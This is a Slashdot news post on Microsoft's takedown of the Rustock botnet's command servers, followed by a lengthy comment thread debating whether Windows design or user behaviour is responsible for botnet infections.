Microsoft Conducts Massive Botnet Takedown Action

h4rm0ny writes "Microsoft, in cooperation with Federal agents, conducted what the Wall Street Journal described as 'sweeping legal attacks' as they entered facilities in Kansas City, Scranton, Pa, Denver, Dallas, Chicago, Seattle and Columbus, Ohio to seize alleged 'command and control' machines for the Rustock botnet — described as the largest source of spam in the world. The operation is intended to 'decapitate' the botnet, preventing the seized machines from sending orders to suborned PCs around the world."

Comments

Microsoft helps the internet

[viablos]

I think this shows that Microsoft cares about the internet. It's not really Microsoft's problem, but they still help to solve it. Fact is, you cannot change stupid people and they will get their computers infected no matter what. Windows 7 is just as secure as Mac OSX or Linux, but it's the users what is the problem. Good job Microsoft, for taking care of the internet.

Re:Microsoft helps the internet

[ledow]

"It's not really Microsoft's problem, but they still help to solve it."

Wiki says: The Rustock botnet (founded around 2006) is a botnet that consists of an estimated 150,000 computers running Microsoft Windows.

It could be suggested that, at some level, it *IS* a Microsoft problem, in the same way that it would be Nintendo's problem if everyone's Wii suddenly started joining a botnet. Yeah, partly the user and partly the malware author, but also quite a bit the OS insecurity too.

Re:Microsoft helps the internet

[The MAZZTer]

Don't forget that botnets that infect Windows machines make Microsoft look bad, so they do have a personal interest in taking them down.

Re:Microsoft helps the internet

[realityimpaired]

It really is Microsoft's problem. The majority of the systems in the compromised botnet are running their software, and since they don't allow their customers to upgrade to Win7 for free, they're still responsible for patching security holes in old systems. If they have in any way made it difficult to apply these updates, or if they're discouraging people from applying these updates (WGA anybody?), then they're directly responsible for the insecurity of these systems.

That they're helping to track and destroy these networks does make them a good corporate citizen, but I would hesitate to suggest that it's not their problem.

Re:Microsoft helps the internet

[Phoshi]

Except that you can have as much security as you want, but there'll still always be people who click yes to every message box because they want... I dunno, whatever the craze is these days. 100 free animated cursors or whatever. It's not the fault of people like us, who would know how to spot a botnet, it's the fault of people that don't know, and don't care. The same would happen on *nix if you had huge quantities of people who would give anything and everything root just because it asked. What MS really need to do is educate people - instead of an intimidating dialogue that says "DO YOU WANT TO ALLOW THIS YES | NO" there needs to be an explanation of the consequences.

Re:Microsoft helps the internet

[Joce640k]

How can you secure an OS against users who click "yes"?

Windows is already a total pain in the butt trying to nanny/protect people but it's made no difference whatsoever to the amount of spam arriving here.

Re:Microsoft helps the internet

[Anonymous Coward]

Interesting point. "Oh, everyone, IE6 is now Officially Bad, so everyone upgrade to IE9 NOW! No, not you with the Windows XP, you need to pay us for a new copy of Win7 first." Indeed MSFT is responsible, at the minimum, for sitting on its hands W/R/T IE6, going "there is no security problem la la la I can't hear you" for __years__.

Re:Microsoft helps the internet

[AJH16]

They have started doing this but it still doesn't matter. I watched my brother in law launch a virus directly before I could say anything. The dialog popped up explaining the risk quite clearly and he just clicked yes without even reading it.

Re:Microsoft helps the internet

[Bert64]

Sure, you cannot change stupid people but you can make it more difficult for their stupidity to be exploited...
Similarly windows 7 may be better than previous versions, but it's no magic bullet and does nothing to remove all the existing old versions out there either...

MS are directly responsible for many insecure design decisions and technologies which make it easier for malware, such things as hiding file extensions by default while relying on file extensions to determine executability, activex, allowing/encouraging users to run with admin privileges by default, having extremely complex network services (msrpc, netbios etc) running by default even on standalone workstations, making it simple to execute email attachments, using obfuscated file formats which make it easier for malicious code to hide, automatically executing programs when removable media is inserted, no centralised way to update third party applications... not to mention an os which is insanely complex and containing years and years worth of cruft giving huge numbers of places for bugs to hide and often making it more difficult to fix them.

Sure, malware would still exist if linux or macos were the most common end user platform, but i don't believe the problem would be as serious as it is with windows.

Re:Microsoft helps the internet

[Buggz]

What MS really need to do is educate people - instead of an intimidating dialogue that says "DO YOU WANT TO ALLOW THIS YES | NO" there needs to be an explanation of the consequences.

If they don't care, they don't read it. For those people, any kind of message box is in the way of them getting to what they wanted to do and thus they click on YES just to get rid of the it.

Re:Microsoft helps the internet

[Bert64]

Make cut down systems with limited functions aimed at end users (eg ipad), this will serve end users much better since they no longer have to worry about the complexity of a general purpose os...

Advanced users can still use more complex computers, on the basis that advanced users are far less likely to fall for social engineering tricks, you don't see many such attacks aimed at people using a cli based unix system.

Re:Microsoft helps the internet

[AJH16]

Or perhaps because the users are more educated in general and less viruses target them as they are not the lions share of systems out there. Unless you make it impossible for a user to run programs on their system, a virus will always be able to ask nicely on any system and get a user to run it because users are idiots. (In general principal) when it comes to technology. One system may be more difficult to exploit than another, but a large percentage of virus infections really are not even based on exploits, but rather simply making users do stupid things.

Re:Microsoft helps the internet

[h4rm0ny]

It is a MS problem to some extent because there's still a heck of a lot of XP installs out there. In a sense, we're still paying for past wrongs. Even with XP, it's still primarily the users fault (I looked after some XP boxes for others and they were always fine), but it's security model wasn't as good as any Linux distro you care to name. With Windows 7 though, they're equivalent. The only difference is that most Linux distros will ask you to enter your password and click OK, whilst Windows 7 will display a big yellow-topped box and just ask you if you're sure. But in either case, both OS's have reached the stage where there's little more you can do to secure the system without reaching the point where you're taking control of the OS away from the user. And the latter is a whole other debate.

Re:Microsoft helps the internet

[Bert64]

Linux marketshare is huge everywhere but the desktop...

Supercomputers - 80-90% linux, who wouldnt want to hack into a top500 supercomputer?
Phones - android linux, iphone running an osx derivative..
Servers - linux is pretty big in the server market, servers make far more attractive targets for hackers since they're usually more powerful and have more bandwidth.
Embedded - linux is pretty big in the embedded market too, lots of networking equipment runs linux, lots of pvr devices too, ip telephony handsets, all kinds of stuff.

In terms of overall installs, i wouldn't be surprised to find that linux actually outnumbers windows quite considerably.

Re:Microsoft helps the internet

[Nimey]

Occam's Razor: more likely they're tired of dealing with spam going to Hotmail/Live, and this is an expedient way to reduce it.

Re:Microsoft helps the internet

[piripiri]

But isn't it pointless to 'decapitate' zombies?

Re:Microsoft helps the internet

[Seumas]

You mean, it shows that the government spends resources and tax payer money helping Microsoft clean up its problem (Windows botnets) that any user can protect themselves against fairly simply.

Re:Microsoft helps the internet

[recoiledsnake]

> they're still responsible for patching security holes in old systems.

What security holes in which old systems are unpatched? WGA doesn't stop security updates, MS even provides known pirated machines security. Stop spouting BS.

Re:Microsoft helps the internet

[heathen_01]

Yes, users may be idiots but I don't think that this is the problem here. I place the blame with Microsoft. You'll probably never achieve a completely secure system, however Microsoft could have done many things to vastly minimise the problem. With all their experience and money the best they could come up with is a completely unhelpful warning box "warning this programs wants to make modifications. ok. cancel.". How is a normal user ever going to know if that is a safe operation or not? If they always choose cancel they may as well toss the pc out as it will never have anything running on it.

Even if Microsoft didn't have any novel ideas of their own they could take a look around. Well before vista there were many examples such as: sandboxes; installs handled by the OS (instead of running an exe to install); application stores. As well as this the OS could offer further help the user by fine grained permissions when installing. For example: Permission to run at startup; Permission to access the internet; Permission to read/write to various file system locations. Further more for "power users" benefit the OS could also track and display exactly what a application is doing, especially with regard to read/writes and network activity.

Assuming that you had an OS with these features the standard attack vectors would be greatly reduced. Of course "Make it idiot-proof, and someone will make a better idiot". However you should be trying to empower users with the information to make the correct choice and not just throw up stupid dialog boxes for every piece of software and desensitise the user.

Re:Microsoft helps the internet

[ledow]

Don't give them the option to click Yes to incredibly stupid things like "Run this program every time I start my computer, with no easy way to monitor it or stop it from loading" (the latest one I've seen is viruses that replace the user's shell value in the registry - somewhere not listed in startup lists - and then re-execute explorer).

Or "Allow this program to spam the hell out of everyone with no controls on what they are doing on the Internet on SMTP ports and whatever it likes, as much as it likes, with no easy way of knowing what's accessing the Internet from my PC"

Or "Allow this program to hide itself in the filesystem once it's loaded by overriding certain function hooks" - even if you ARE admin.

And if the user DOES click Yes, make it easy to remove that privilege later, i.e. don't have antivirus controls which are basically stuck because they CAN'T remove a file with that particular permissioning, or sometimes can't even see it in the filesystem, or can't remove it because when they do the process just recreates it immediately, or has two processes watching and respawning each other which can't be killed simultaneously.

The problem is Windows security is NOT people running in an account with the ability to install programs. It's the OS not providing a way to recover from bad decisions and separating "user" and "admin" too much. Most users *are* admins of their machines and need to install, remove, manage stuff. But they do NOT need the ability to install a filesystem hook except once in a blue moon. And anything they install should NOT affect other users at all. "User" needs to become a lot more powerful, and a lot more isolated from other users, while still requiring admin rights (and then make it truly impossible to execute things as admin without logging on as that directly - and make the "admin" account USELESS for day-to-day-use, no browser or shortcut access should do the trick).

And this is why MS decided LAST WEEK to turn off Autorun in XP by default. Duh. The setting that ANYONE with a brain has had switched off since day one (i.e. ten YEARS ago). That was a bad decision all along, even if it "helped" users (doesn't help anyone I know, because they click "Remember this" the first time and then never see the dialog again and then wonder why their DVD's only ever open in Media Player rather than PowerDVD, etc.)

MS are supposed to have dozens of usability and interface guys. I've yet to see a single convincing example of this - most of their stuff is just useless eye-candy that people can't grasp without being shown by someone who knows.

Re:Microsoft helps the internet

[Herkum01]

I think it says, that "Law Enforcement" does not have the technical abilities nor a direct interest in taking a lead in these sorts of operations.

It also concerns me because the government is turning to corporations to take the lead. This is how corporate entities, like the RIAA and MPAA, gain overwhelming political power to push their agenda. We just get a a government that becomes an extension of a corporations will.

Re:Microsoft helps the internet

[ledow]

Because no virus in the world would disable automatic updates once it had infected a machine via a method that had not yet been detected and patched in a monthly update.

And automatic updates do not save you for the MONTH before that tool is updated. By which time, you're already dead.

And automatic updates, especially around SP time, is a good way to end up with several machines that are dead or in a bluescreen loop (has been every since 95 and 7 SP1 is still doing the same).

And automatic updates do NOT save you from having to have some tool run over every byte of your disk on a regular basis to determine if it matches a list of "known" hostile software.

Automatic updates are one, tiny, little tool that help prevent programs that are already executing on the PC from exploiting flaws that give them, say, administrator access. It does NOT stop people running those programs in the first place, or those programs from getting way more privileges than they should anyway, or those programs being able to spread even without admin access.

Auto-updates are one part, that can be as easily disabled as any user can easily disable them. Relying on anything that has to "scan" a machine to know if you're okay or not is not a security policy. It's an intrusion detection policy.

Anything that relies on a monthly update and then a full byte-wise scan of your disk / processes / RAM is the PC equivalent of the Red Dwarf Quarantine episode:

Cat: So what's the news?
Kryten: Well, if I could just beg your indulgence for a few seconds more, sir, the old 345 takes a little time to warm up. Still, it out-performs the 346 in 8 out of 9 bench tests. A small wonder, then, that it secured "Psi-scan of the Year, Best Budget Model" three years running. Now here are the results. And we're going to... LIVE!
Lister: (Sighs) We're a real Mickey Mouse operation aren't we?

Re:Microsoft helps the internet

[twidarkling]

Actually, if you're not running an admin account, Win 7 will ask for the admin account password for anything that gets a UAC prompt. I know this because the demo machines are work are secured suchly, and the box has popped up with password requirements.

Re:Microsoft helps the internet

[Shompol]

I think this shows that Microsoft cares about the internet. It's not really Microsoft's problem, but they still help to solve it. Fact is, you cannot change stupid people and they will get their computers infected no matter what. Windows 7 is just as secure as Mac OSX or Linux, but it's the users what is the problem. Good job Microsoft, for taking care of the internet.

This is the second time in the last week that Microsoft PR people make first post on Slashdot. This time it is a little less obvious, so most of you fell for it. I cannot (don't have time) to find their previous "first post" about how Microsoft is great.

So dear OP, I do not know what form of incentive or compensation you get from Microsoft, but botnets are REALLY Microsoft's problem, and so is MAC and so is Linux. Good day.

Re:Microsoft helps the internet

[Foofoobar]

It's not really Microsoft's problem, but they still help to solve it.

Bad engineering isn't their problem? You seem to lack a basic understanding of computers yourself and shouldn't be operating the one you are on. I hereby revoke your license.

Re:Microsoft helps the internet

[VGPowerlord]

The only difference is that most Linux distros will ask you to enter your password and click OK, whilst Windows 7 will display a big yellow-topped box and just ask you if you're sure.

This can be reconfigured to prompt for a password. I have no idea why it isn't by default.

Of course, finding this setting is a pain... you have to run secpol.msc (msc files open Microsoft's Management Console) and find the entry named "User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode", then change the setting to "Prompt for credentials" as documented here.

Re:Microsoft helps the internet

[AJH16]

While I agree Windows could be made more secure (and I don't doubt Microsoft has the capability to do so), I question how much some of the suggestions you brought up would really protect the average user and how much they would hinder usability for very little actual tangible benefit.

Sandboxing for example puts major limits on program interoperability without an overly complex system of sandboxing, which is probably why Microsoft choose to stick with a simple low permission/high permission user setup (similar to what linux does to the best of my knowledge though I am no linux expert).

Installs handled by the OS is a good concept, but is potentially limiting in terms of how software can be configured, making life more difficult for legitimate developers. Also, it still doesn't do anything to prevent a malicious application from being legitimately installed. This really only works if you could make the installer powerful enough to not ever require root permissions for an average user and I have never seen that really be feasible on any system.

Granular permissions is also a nice idea, but puts a lot of additional constraint on the system. Also, if people can't understand the idea that an unsigned program asking for installation is a bad idea, how much less are they going to understand when they are presented with a giant list of permissions that are being requested by an application? Most users that have a problem with Windows the way it is now, would still click yes for these messages, Android and Facebook apps are proof of that. It would be more secure for those of us who do understand, but I'm not convinced it is worth the restrictions that means the OS has to put on interfaces that would run faster without the overhead.

Allowing for knowledgeable users to track and display exactly what an application is doing is great, but already pretty strongly available if you know the tools to use. (Such as procexp, fiddler, a garden variety packet monitor, etc). Monitoring what a modern process does is a complex process though and would be easy to hide stuff if you were to try and simplify the reams of information that get produced in some standardized, simplified form.

So in short, yes, Windows could be made more secure, but Windows is successful not for being the most secure, but being what people feel is the best balance of usability, availability and security. Usability and security almost always fight each other and Microsoft simply sets the balance point where they feel it will have the greatest acceptance from users.

Re:Microsoft helps the internet

[snowraver1]

http://www.thewebsiteisdown.com/

See Episode 2

Re:Microsoft helps the internet

[erroneus]

Please acknowledge that Microsoft has a great deal of self-interest in this. It is rarely reported that it's mostly about Windows machines being compromised and such. (Yeah, it's also not frequently mentioned that Adobe products are among the more commonly exploited points of entry into these Windows machined)

There is also a certain responsibility behind having achieved "monopoly" status and maintaining their "critical mass." It's a huge job and Microsoft certainly needs to take it seriously. Governments around the globe use MS Windows and are considering alternatives to avoid the increases in cyber attacks.

I acknowledge that other OSes can be less secure than Windows in many ways. But you have to acknowledge that once a SINGLE entry vector is found, the similarity among windows machines are such that the tasks are eligible for full automation where one compromised machine automatically begins compromising others. This is not as easily accomplished with Linux as there are too many flavors out there and is it less common that even two of the same OS are configured and secured in the same ways. The result is that it is not only the number of vulnerabilities, but the entire ecosystem at large that must also be considered.

And all of this is, in practice, Microsoft's responsibility... their fiduciary duty to see to the interests of their share holders. Failure to accept and assume responsibility can and is causing people, businesses and governments to look to alternatives.

Re:Microsoft helps the internet

[drinkypoo]

Or you could make a cut down system with limited functions aimed at end users (eg Android) and advanced users can use the same operating system and run applications directly on the kernel to do heavy lifting via the NDK.

There is absolutely no reason for an either-or approach. Much of the stuff that goes into an enterprise-grade, server-class operating system is useful on a handheld, too... which is why neither iOS nor Android involved a kernel-writing project, only modifications to an existing, mature piece of software. The difference is that Apple goes to great lengths to keep you in their box while Android features a freely downloadable SDK for accessing the root system.

Why even mention the iPad unless you're trying to provide Apple with free advertising?

Re:Microsoft helps the internet

[Dishevel]

That is why computers should go back to being powerful, secure and difficult to use.
Why can we not have at least the internet as a safe haven from the fucking idiots.
God I hate AOL!

Re:Microsoft helps the internet

[h4rm0ny]

Ah, interesting. I guess that kind of reveals that I run my set up as an Admin account, then.

Re:Microsoft helps the internet

[VortexCortex]

Except that you can have as much security as you want, but there'll still always be people who click yes to every message box because they want... I dunno, whatever the craze is these days. 100 free animated cursors or whatever. It's not the fault of people like us, who would know how to spot a botnet, it's the fault of people that don't know, and don't care. The same would happen on *nix if you had huge quantities of people who would give anything and everything root just because it asked. What MS really need to do is educate people - instead of an intimidating dialogue that says "DO YOU WANT TO ALLOW THIS YES | NO" there needs to be an explanation of the consequences.

Actually, my parents and my neighbor are all all of the ilk that click yes to everything. They constantly infected their machines until I installed Linux for them (I used the Vista is crap FUD wars in my favor). The UI difference between XP and Win7 or Vista is somewhat similar to the difference they encountered on Linux, and there are FOSS replacements for all of the things they need to do: Email, Web, music & video, simple games, Create / Open documents & PDFs (Open office actually opens a few of my mom's MS docs that MS Office wouldn't, and the OS's print to file:PDF is a brilliant built in feature.)

My neighbor (a 75yr old retired mechanic) has actually commented that he finds the Linux OS prompt dialogs easier to understand & more informative.

Windows: User Account Control stops unauthorized access to your computer. If you started this action, continue. ____(Program/Action)____
____(Publisher)____

Linux: To install or remove software, you need to authenticate. (An application is attempting to perform an anction that requires privileges. Authentication is required to perform this action.
Password: ____
(click here for details)
Action: ___
Vendor: ____

He has less problems using Linux (shaky hands -- Gnome has drag & drop threshold, no more accidental file copy or moves).

The yes-clickers still click yes to everything, they have tons of software installed from the repositories that they don't really need, just because they never uninstall things after they try them. They have yet to contract a virus. Theoretically they are still at risk, and if the Linux using crowd becomes a large enough target, we may see more viruses in Linux (this theory has yet to be proven, and fails to consider that, unlike Windows, Linux has many different distributions and a better update policy).

However, right now, Windows is the only OS that has rampant malware problems. If you are concerned with the rampant virus problem, it would be wise to not willfully expose yourself to it by not using the only OS brand with such a problem... It seems like a simple solution, UI difference FUD & incompatible application FUD be damned; I've found that most people who actually give desktop distros of Linux an earnest try have no more problems than people upgrading from XP to Win7.

Yes, there are people who must use some program that just doesn't have a FOSS replacement or run well in WINE -- These people are not the average user that has been trained to clicks yes to everything and hosts botnets.

Re:Microsoft helps the internet

[jonbryce]

Make it easier to say No, for example by requiring a password to install it.

Re:Microsoft helps the internet

[fifedrum]

Thank you for posting that question. I think the answer is yes. Yes it's pointless. How do I know? I work at a top 20 email hosting company serving several million customers, and we graph inbound rejects, caught spam, and email that finally makes it through to the customer inbox. The graphs haven't fluctuated as much as one might expect. So, IMO, the botnets are still active, or the level of activity was overestimated.

Re:Microsoft helps the internet

[jonescb]

I'm not up to date on vulnerabilities in Windows. But Vista and 7 offer a better security model with things like UAC. XP has an obviously a very old and flawed security model. If you want the improved security model in newer versions of Windows, you're forced to pay for it. If MS would backport UAC and other security features to XP, then maybe this wouldn't be their problem as much.

Re:Microsoft helps the internet

[StillNeedMoreCoffee]

Your absoulutely right, and hostages are at fault for being in that bank at that time. Of course the bank robbers don't have anything to do with it. Thats their job, they are just part of nature. The hostages should have been carrying guns, trained for years in martial arts and been wearing armored vests and carrying secure military style communcations systems, driving hum vee's with automatic weapons on them to protect against the threats in their neighborhood bank.

I think this is a good analogy to the envirionment on the internet. It has been turned into a war zone. So microsofts takedown is akin to taking back one neighborhood from gangs of thieves.

We should not have to have anti-virus protection. We should not have to protect ourselves against someone trying to take over our computer to make money or deny service to someone else. These are criminals and that is what you should focus on. Eliminating those people's ability to assault our property and our lives and our finances by better designed systems (we require that of auto manufactures and food and drug manufactures) , or by putting those people in jail where they can't steal from us.

I agree it is prudent to have anti-virus protection. But remember these evil people will find technological and social engineering ways around each roadblock we put up, at least until they are caught. They should be caught and pay for their crimes. So blaming people for not knowing the work around de jour is missed placed blame.

    Adjusting my armored vest. Can't be too safe out there. Now where did I put the AK?

Re:Microsoft helps the internet

[h4rm0ny]

How exactly do I stop someone else's machine sending me spam, if not via law enforcement?

Re:Microsoft helps the internet

[Blakey Rat]

Yeah, partly the user and partly the malware author, but also quite a bit the OS insecurity too.

But... it's not "partly" the user, it's like 80% the user. And "OS insecurity" is more often insecurity in Adobe or JavaVM or QuickTime than it is in Windows itself. (Although there is some Windows in there, admittedly.)

So, I agree with the OP here. If it was a fair world, every software vendor on Windows whose software was full of security holes should be helping out with this... Adobe is responsible for a lot more attacks than Microsoft has been in the last decade. It's been a long while since Microsoft was the main cause of the problem.

Re:Microsoft helps the internet

[Blakey Rat]

The only difference is that most Linux distros will ask you to enter your password and click OK, whilst Windows 7 will display a big yellow-topped box and just ask you if you're sure.

Only if you're already running as Admin.

If you're really concerned about security, you should be running a normal User account, and then UAC will ask for a password to perform administrative tasks.

I believe that setup is identical in every OS-- I haven't tried every Linux, but Windows Vista/7 and OS X certainly behave the same. Not fair to give Windows 7 flak for doing the same thing everybody else is doing.

Re:Microsoft helps the internet

[jonbryce]

I'm not sure that Android is the best example of a secure operating system.

Re:Microsoft helps the internet

[iiiears]

Do people you meet ask you to repeat things? I would guess so because talking out of both side of your mouth. One side is saying libertarian freedom and personal responsibility while the other says it is all someone elses fault. - make up your mind . It's kind of like hearing sarah palin recite history.

Re:Microsoft helps the internet

[h4rm0ny]

Firstly, you should address the actual argument. If you can't find anything false in what someone wrote, then calling them biased isn't going to make their statements false.

Secondly, what makes your bias more acceptable than one that were pro-bias? I think bias is bad generally, but you seem to think a strong anti-Microsoft bias is a good thing which makes it acceptable to dismiss news because it's about a company you don't like doing something good? I'm finding it hard to tell whether you are serious or just trolling.

Re:Microsoft helps the internet

[LordLimecat]

OS insecurity has very little to do with it. Make 'rootkit_and_sendspam.sh' and run it from a Linux box, it will work just as well. Whats that, gksu will prompt you if you really want to do that? IIRC Vista and seven do as well, and if people actually followed Microsoft's best practices for XP, youd get a runas prompt on that as well.

In 5 years, the story will be about Apple viruses; that doesnt mean Unix is insecure (though it may indeed be because of Adobe flaws).

Re:Microsoft helps the internet

[twidarkling]

Actually, hilariously, it asks for a password even if one isn't set up. Found out the fun way when I needed to install something on a computer, and the password didn't work on the prompt. After contacting the tech-in-charge to double-check the password, I tried logging on to the admin account, and it went right in without asking for a password. Pointed out to TIC when he got in that he'd missed the password on that one.

Re:Microsoft helps the internet

[LordLimecat]

The attacks generally arrive through Java, or Flash, or PDF, and are in many ways browser and OS agnostic; they simply have to be tweaked to run on a different OS. The only thing saving you in that CLI scenario is the fact that Lynx doesnt have a PDF or flash plugin.

Re:Microsoft helps the internet

[LordLimecat]

Clicking yes isnt the problem. If a virus is prompting you to do things, most malware authors will not release it. The good ones you see in the wild exploit browser plugins and then check their permissions-- if they are admin, they rootkit, of they are a normal user they install userland junk. No UAC prompt is ever triggered, nor is there a "are you sure you want to run" box-- the code is already running.

All this armchair discussion on how to fix the virus issue is wonderful, but one suspects that most people here talking about how viruses work dont actually get paid to remove them, and so have no clue how they operate.

Re:Microsoft helps the internet

[h4rm0ny]

Didn't really mean to give them flak. I think the systems are pretty much comparable, I was just trying to be complete in my analysis. I do run my Windows box as Admin. It's not my primary OS and I wasn't aware of that until another poster also pointed it out. I mainly just use my Windows partition for MS Office and occasional audio work, for everything else it's either Gentoo or (when I've broken Gentoo), Kubuntu. I wasn't giving Windows 7 grief - I actually really enjoy using it.

Re:Microsoft helps the internet

[NotQuiteReal]

If they don't care, they don't read it. For those people, any kind of message box is in the way of them getting to what they wanted to do and thus they click on YES just to get rid of the it.

So, what you really want is some sort of puzzle - a CAPTCHA like dialog that pops up, with detailed warnings and a multiple choice (non-yes/no) input requirement so you can't just click-thru without thinking...

Re:Microsoft helps the internet

[CohibaVancouver]

there'll still always be people who click yes to every message box because they want

I'm not a network admin, but sometimes I wonder if the place to trap this is upstream at the ISP - So if my mum's box is a bot it doesn't matter (other than the slowdown) because the "bad" traffic from her machine is stopped at the ISP?

Re:Microsoft helps the internet

[RegisteredSkeptic]

You mean, it shows that the government spends resources and tax payer money helping Microsoft clean up its problem (Windows botnets) that any user can protect themselves against fairly simply.

So it's MS fault, or the operating system is just too complex, if some user decides to follow a link to a scam site? I realize that this site is manned by, and populated by *NIX bigots but let's get real for a minute. Ok so we can all agree that MS is responsible for the ease that botnets get built. But a user of any computer/OS is likely to get taken in by those scams so that makes it not just a MS reponsibility to help protect them from themselves, and yes I do think it is everyones job to protect them. If it wasn't then how do we explain the commercials that have the line "Don't try this at home". We're all responsible to protect the stupid.

Re:Microsoft helps the internet

[recoiledsnake]

>But Vista and 7 offer a better security model with things like UAC. XP has an obviously a very old and flawed security model.
Don't run as Admin on XP...then? Why should MS be forced to backport all new features many of which need faster hardware anyway? They still provide security updates to XP. And they have one of the best backward and forward compatibility track record in the industry, see how quickly Apple drops support for their OS versions, forcing users to pay to run the latest version of the apps.

They would need to backport everything related as well, because of dependencies to the kernel, explorer etc. , it would cost hundreds of millions if not billions at which point they might as well provide the Windows 7 upgrade free... and then people would complain that their hardware is too slow to run the new features... and then people like you would say MS should pay for new hardware because users shouldn't be forced to pay for security... and then they do that and close the company due to lack of revenue. :)

Re:Microsoft helps the internet

[Bengie]

People complained about UAC. How do you think MS could implement this without pissing off everyone?

Re:Microsoft helps the internet

[Foofoobar]

You are assuming that this is the only method that these bots are created when this is not the case. Bot nets are rooted often without the users knowledge and without them needing to 'agree' to an installation due to zero-day's and bad engineering decisions. Your assumption that the only way to get anything installed on an OS is through social engineering is a fallacy and a misconception that only companies that have badly engineered products would want you to believe.

Re:Microsoft helps the internet

[Bengie]

The problem isn't so much Windows as it is the programs on Windows. How many times have I see an application that didn't need to change any system settings, but wrote to restricted locations "just because" which made the program require admin privs.

I see crap like this all the time in Dev forums:
1) When I try to write my log file to c:\Windows\System32, it gives me an access denied error.
2) Why do you need to write to System32? Why not Environment.SpecialFolder.ApplicationData or something instead? This way you don't need to run as admin.
3) No reason. So, running as admin should fix it?

Now, get these people developing for Linux.. yay

I've seen big name games not work unless running as admin because they decided to store settings.ini in restricted directories. Then we blame MS for requiring everything to be ran as admin.

Re:Microsoft helps the internet

[Bengie]

"And this is why MS decided LAST WEEK to turn off Autorun in XP by default. Duh. The setting that ANYONE with a brain has had switched off since day one"

Don't worry, Linux just recently added Auto-Run and has already been exploited. I guess Linux devs don't have a brain?

Yes, an over-generalization, but goes to show you that even Linux isn't immune to making the desktop more friendly without security issues.

Re:Microsoft helps the internet

[DarwinSurvivor]

I *do* blame Microsoft, they created their OS with so little security that the early versions didn't even HAVE limited users. This meant that for nearly a decade, software developers were accustomed to have god-like rights on the machine. Linux have ALWAYS had a root account that isn't used for day-to-day activities doesn't suffer from that because the unix guys (back in the day) though "hmm, maybe every application on here SHOULDN'T be able to crash the mothership..."

It was Microsoft's lack of forethought and then their laid-back approach when it started to become an issue. We knew in window 2000 that this was going to be a SERIOUS issue, yet they waited until VISTA to even make the default user non-admin.

Developers may be party to blame, but Microsoft was the one that gave them those godly powers in the early days.

Re:Microsoft helps the internet

[Ephemeriis]

How can you secure an OS against users who click "yes"?

To a certain degree, this can be mitigated by the design of the OS.

Linux, for example, is designed to allow folks to run as a limited user and get work done. This limits the impact of any damage done to your machine. It might very well hose up your profile, but it isn't going to take over the entire machine unless you actually allow it to. Microsoft has lately been making moves in that direction, but is still greatly hindered by backwards compatibility. Lots of software still wants to run in root/administrator.

You could also limit what can be done from within the profile itself. Lots of malicious executable don't actually install themselves to /Program Files/ anymore, they'll live in /Temporary Internet Files/ instead. Is there any good reason you should actually be allowed to execute anything stored in your /Temporary Internet Files/?

You could also require more than a simple .exe on the end of a file to make it executable. Lots of folks have file extensions turned off. If you simply name your software something like hotbabe.jpg many people will never even know they're launching a program. And when they're prompted for permission, they'll think they're being asked if they want to display a harmless image. If you had to manually set execute permissions on downloaded files it would be far harder to accidentally install malicious software.

Sure, user education is definitely important. And if you're actually clicking "ok" and letting the software do its thing, then you're already in trouble. But the OS design can certainly mitigate the damage done. And Windows definitely doesn't do as much as it could in that respect.

Windows is already a total pain in the butt trying to nanny/protect people but it's made no difference whatsoever to the amount of spam arriving here.

This is, again, a problem with the design of Windows.

Tons of software requires escalation in order to function, so people get spammed with prompts to basically sudo everything. They go numb. They aren't suspicious when a new piece of software requires escalation, and they just hit "ok".

Common programs like Word and Excel are so inherently fragile that they have to disable macros just to be safe. And if you're opening something with macros you'll be prompted to allow them. And it's now up to the end-user to determine what is actually safe and trusted, rather than it being up to the developer to design a system that can't be destroyed by a word processing document.

If the OS itself was more robust, all these assorted warnings and prompts wouldn't be necessary.

Re:Microsoft helps the internet

[DarwinSurvivor]

Except that then the ISP's become gatekeepers and they end up being force to monitor other stuff such as bittorrent, voip, IM, etc. I have no problem with ISP's sending an email or making a phone-call to users who's traffic suddenly changes, but they shouldn't be taking immediate action unless their customer asks them to.

Re:Microsoft helps the internet

[SnarfQuest]

Windows trains people to click through such dialogs. Every time you try to do normal tasks, you are bombarded with "are you sure" dialogs, and it just becomes a reflex action to click through them without bothering to read the nonsense in the dialog box. You click on a "save" action, then you have to go through two or more dialogs just to confirm that you really, really want to save your work. "File name to save as?", "Are you sure?", "A file with that name already exists, replace it?", "Are you sure?", "Finished saving, want to save again?", "Are you sure?", .... People are trained by Windows software to ignore all the warnings unless you want to waste hours every day reading confusing confirm messages.

Re:Microsoft helps the internet

[terminalhype]

Actually, Microsoft has been doing things to piss people off for many years now, yet people still use it. Some people are just happier in an abusive relationship, I guess.

Re:Microsoft helps the internet

[LowG1974]

People complained about UAC not because of its existence, but because it was SO poorly implemented. Microsoft managed to take an idea that's been in use for YEARS in the linux/unix world and screw it up royally.

Re:Microsoft helps the internet

[DavidTC]

Yeah, it's not MS's fault at this point. Yeah, yeah, Windows 9x had no permissions, but XP came out almost a decade ago, and any developer that writes a program that stores information anywhere but the user directory should be shot.

Anything which mentions 'running as admin' clearly exists in a post-XP universe, because otherwise there aren't other users, so is inherently poorly-designed. Unless it came out in that microscopic window where XP was first released and it was quickly and poorly updated, no, that's inexcusable.

It doesn't help that development tools basically have to run as admin, (Because of OS restrictions that are entirely reasonable and kept developers from using really idiotic things like inventing their own 'shared memory' system.), but results in developers never actually testing under non-admin situations, or at least not until the end of development, where it's called a 'bug' and the 'fix' is to run it as admin. No, that should have failed the second it was written, so it was rewritten correctly, not discovered when they're testing release candidates.

Microsoft is still trying to solve that stupidity, Windows 7 has a way to 'fake' the system directories for programs that try to write to them. 'You want to write there? Okay, we'll just keep that file over here, instead, and you'll see it every time you look into the system directory, but no one else will'.

A lot of people end up blaming the wrong people for computer programs. A funny issue is driver problems that cause crashes, which dumb people blame on MS, smarter people blame on the hardware manufacturers that made them, and the smartest people lay the blame back at the feet of MS again, because the OS developer are supposed to be the people making the drivers, like every other OS does. Yes, the manufacturer wrote a shitty driver, probably because, I dunno, they're hardware people and don't know how to write software? Maybe if you're selling a damn OS you should spend your time and money writing hardware drivers, which are literally the only 'OS' part of an OS, and stop spending all your time and effort on a media player?

Re:Microsoft helps the internet

[denbesten]

How can you secure an OS against users who click "yes"?

By making it possible for users to subsequently click "uninstall" and have it actually remove what was added.

Re:Microsoft helps the internet

[E-Rock]

A lot of the bots encrypt their communications, so the ISP will just see an SSL connection to a web server.

Sometimes the IP or domain used for C&C is known and some ISP's will block them.

